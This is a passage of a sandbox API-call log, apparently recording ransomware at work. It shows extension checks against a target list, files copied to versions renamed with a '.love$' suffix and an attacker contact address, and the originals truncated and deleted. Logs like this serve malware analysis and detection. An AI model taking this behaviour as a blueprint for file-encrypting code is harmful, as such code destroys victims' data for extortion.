(lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0099.935] lstrlenW (lpString=".zip") returned 4 [0099.935] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0099.935] lstrlenW (lpString=".rar") returned 4 [0099.935] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0099.935] lstrlenW (lpString=".bz2") returned 4 [0099.935] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0099.935] lstrlenW (lpString=".7z") returned 3 [0099.935] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0099.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0099.936] lstrlenW (lpString=".dbf") returned 4 [0099.936] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0099.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0099.936] lstrlenW (lpString=".1cd") returned 4 [0099.936] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0099.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0099.936] lstrlenW (lpString=".jpg") returned 4 [0099.936] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0099.936] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0099.936] lstrlenW (lpString="eula.rtf") returned 8 [0099.936] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0099.936] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=3702) returned 1 [0099.936] CloseHandle (hObject=0x354) returned 1 [0099.937] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80 [0099.937] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0099.937] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0099.937] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.937] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.937] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0099.937] GetLastError () returned 0x0 [0099.937] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0xe76, lpOverlapped=0x0) returned 1 [0099.957] WriteFile (in: hFile=0x318, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xe80, lpOverlapped=0x0) returned 1 [0099.958] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0099.958] WriteFile (in: hFile=0x318, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0099.958] SetEndOfFile (hFile=0x318) returned 1 [0099.959] CloseHandle (hObject=0x318) returned 1 [0099.960] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.960] SetEndOfFile (hFile=0x354) returned 1 [0099.961] CloseHandle (hObject=0x354) returned 1 [0099.961] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0099.962] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1 [0099.962] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0099.962] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0099.962] lstrlenW (lpString=".doc") returned 4 [0099.962] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0099.962] lstrlenW (lpString=".docx") returned 5 [0099.962] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0099.962] lstrlenW (lpString=".pdf") returned 4 [0099.962] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0099.962] lstrlenW (lpString=".xls") returned 4 [0099.962] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0099.962] lstrlenW (lpString=".xlsx") returned 5 [0099.962] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0099.962] lstrlenW (lpString=".ppt") returned 4 [0099.963] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0099.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0099.963] lstrlenW (lpString=".zip") returned 4 [0099.963] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0099.963] lstrlenW (lpString=".rar") returned 4 [0099.963] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0099.963] lstrlenW (lpString=".bz2") returned 4 [0099.963] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0099.963] lstrlenW (lpString=".7z") returned 3 [0099.963] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0099.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0099.963] lstrlenW (lpString=".dbf") returned 4 [0099.963] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0099.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0099.963] lstrlenW (lpString=".1cd") returned 4 [0099.963] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0099.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0099.963] lstrlenW (lpString=".jpg") returned 4 [0099.963] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0099.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0099.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0099.963] lstrlenW (lpString=".doc") returned 4 [0099.963] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0099.963] lstrlenW (lpString=".docx") returned 5 [0099.964] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0099.964] lstrlenW (lpString=".pdf") returned 4 [0099.964] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0099.964] lstrlenW (lpString=".xls") returned 4 [0099.964] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0099.964] lstrlenW (lpString=".xlsx") returned 5 [0099.964] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0099.964] lstrlenW (lpString=".ppt") returned 4 [0099.964] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0099.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0099.964] lstrlenW (lpString=".zip") returned 4 [0099.964] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0099.964] lstrlenW (lpString=".rar") returned 4 [0099.964] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0099.964] lstrlenW (lpString=".bz2") returned 4 [0099.964] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0099.964] lstrlenW (lpString=".7z") returned 3 [0099.964] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0099.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0099.964] lstrlenW (lpString=".dbf") returned 4 [0099.964] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0099.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0099.964] lstrlenW (lpString=".1cd") returned 4 [0099.964] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0099.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0099.964] lstrlenW (lpString=".jpg") returned 4 [0099.964] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0099.965] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0099.965] lstrlenW (lpString="eula.rtf") returned 8 [0099.965] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0099.965] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=3526) returned 1 [0099.965] CloseHandle (hObject=0x354) returned 1 [0099.965] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80 [0099.965] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0099.965] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0099.966] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.966] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.966] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0099.966] GetLastError () returned 0x0 [0099.966] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0xdc6, lpOverlapped=0x0) returned 1 [0100.196] WriteFile (in: hFile=0x318, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xdd0, lpOverlapped=0x0) returned 1 [0100.198] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0100.199] WriteFile (in: hFile=0x318, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0100.199] SetEndOfFile (hFile=0x318) returned 1 [0100.199] CloseHandle (hObject=0x318) returned 1 [0100.200] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.200] SetEndOfFile (hFile=0x354) returned 1 [0100.201] CloseHandle (hObject=0x354) returned 1 [0100.201] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0100.245] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1 [0100.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0100.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0100.246] lstrlenW (lpString=".doc") returned 4 [0100.246] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0100.246] lstrlenW (lpString=".docx") returned 5 [0100.246] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0100.246] lstrlenW (lpString=".pdf") returned 4 [0100.246] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.246] lstrlenW (lpString=".xls") returned 4 [0100.246] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0100.246] lstrlenW (lpString=".xlsx") returned 5 [0100.246] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0100.246] lstrlenW (lpString=".ppt") returned 4 [0100.247] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0100.247] lstrlenW (lpString=".zip") returned 4 [0100.247] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0100.247] lstrlenW (lpString=".rar") returned 4 [0100.247] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0100.247] lstrlenW (lpString=".bz2") returned 4 [0100.247] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0100.247] lstrlenW (lpString=".7z") returned 3 [0100.247] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0100.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0100.247] lstrlenW (lpString=".dbf") returned 4 [0100.247] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0100.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0100.247] lstrlenW (lpString=".1cd") returned 4 [0100.247] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0100.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0100.247] lstrlenW (lpString=".jpg") returned 4 [0100.247] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0100.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0100.247] lstrlenW (lpString=".doc") returned 4 [0100.247] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0100.247] lstrlenW (lpString=".docx") returned 5 [0100.247] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0100.248] lstrlenW (lpString=".pdf") returned 4 [0100.248] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.248] lstrlenW (lpString=".xls") returned 4 [0100.248] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0100.248] lstrlenW (lpString=".xlsx") returned 5 [0100.248] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0100.248] lstrlenW (lpString=".ppt") returned 4 [0100.248] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0100.248] lstrlenW (lpString=".zip") returned 4 [0100.248] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0100.248] lstrlenW (lpString=".rar") returned 4 [0100.248] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0100.248] lstrlenW (lpString=".bz2") returned 4 [0100.248] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0100.248] lstrlenW (lpString=".7z") returned 3 [0100.248] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0100.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0100.248] lstrlenW (lpString=".dbf") returned 4 [0100.248] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0100.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0100.248] lstrlenW (lpString=".1cd") returned 4 [0100.248] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0100.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0100.248] lstrlenW (lpString=".jpg") returned 4 [0100.248] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.249] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0100.249] lstrlenW (lpString="LocalizedData.xml") returned 17 [0100.249] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0100.250] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=72076) returned 1 [0100.250] CloseHandle (hObject=0x354) returned 1 [0100.250] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80 [0100.250] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.251] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0100.251] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.251] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.251] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0100.251] GetLastError () returned 0x0 [0100.251] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x1198c, lpOverlapped=0x0) returned 1 [0100.256] WriteFile (in: hFile=0x318, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x11990, lpOverlapped=0x0) returned 1 [0100.259] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0100.259] WriteFile (in: hFile=0x318, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xf6, lpOverlapped=0x0) returned 1 [0100.259] SetEndOfFile (hFile=0x318) returned 1 [0100.259] CloseHandle (hObject=0x318) returned 1 [0100.263] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.263] SetEndOfFile (hFile=0x354) returned 1 [0100.265] CloseHandle (hObject=0x354) returned 1 [0100.265] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0100.265] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1 [0100.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0100.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0100.266] lstrlenW (lpString=".doc") returned 4 [0100.266] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0100.266] lstrlenW (lpString=".docx") returned 5 [0100.266] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0100.266] lstrlenW (lpString=".pdf") returned 4 [0100.266] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0100.266] lstrlenW (lpString=".xls") returned 4 [0100.266] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0100.266] lstrlenW (lpString=".xlsx") returned 5 [0100.266] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0100.266] lstrlenW (lpString=".ppt") returned 4 [0100.266] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0100.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0100.266] lstrlenW (lpString=".zip") returned 4 [0100.266] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0100.266] lstrlenW (lpString=".rar") returned 4 [0100.266] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0100.266] lstrlenW (lpString=".bz2") returned 4 [0100.266] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0100.266] lstrlenW (lpString=".7z") returned 3 [0100.266] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0100.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0100.266] lstrlenW (lpString=".dbf") returned 4 [0100.266] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0100.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0100.266] lstrlenW (lpString=".1cd") returned 4 [0100.267] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0100.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0100.267] lstrlenW (lpString=".jpg") returned 4 [0100.267] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0100.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0100.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0100.267] lstrlenW (lpString=".doc") returned 4 [0100.267] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0100.267] lstrlenW (lpString=".docx") returned 5 [0100.267] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0100.267] lstrlenW (lpString=".pdf") returned 4 [0100.267] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0100.267] lstrlenW (lpString=".xls") returned 4 [0100.267] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0100.267] lstrlenW (lpString=".xlsx") returned 5 [0100.267] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0100.267] lstrlenW (lpString=".ppt") returned 4 [0100.267] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0100.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0100.267] lstrlenW (lpString=".zip") returned 4 [0100.267] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0100.267] lstrlenW (lpString=".rar") returned 4 [0100.267] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0100.267] lstrlenW (lpString=".bz2") returned 4 [0100.267] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0100.267] lstrlenW (lpString=".7z") returned 3 [0100.267] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0100.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0100.268] lstrlenW (lpString=".dbf") returned 4 [0100.268] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0100.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0100.268] lstrlenW (lpString=".1cd") returned 4 [0100.268] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0100.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0100.268] lstrlenW (lpString=".jpg") returned 4 [0100.268] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0100.268] Sleep (dwMilliseconds=0x64) [0100.644] Sleep (dwMilliseconds=0x64) [0101.015] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0101.015] lstrlenW (lpString="eula.rtf") returned 8 [0101.015] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0102.580] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=12687) returned 1 [0102.580] CloseHandle (hObject=0x354) returned 1 [0102.587] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80 [0102.587] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0102.587] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0102.587] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.587] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.587] CreateFileW 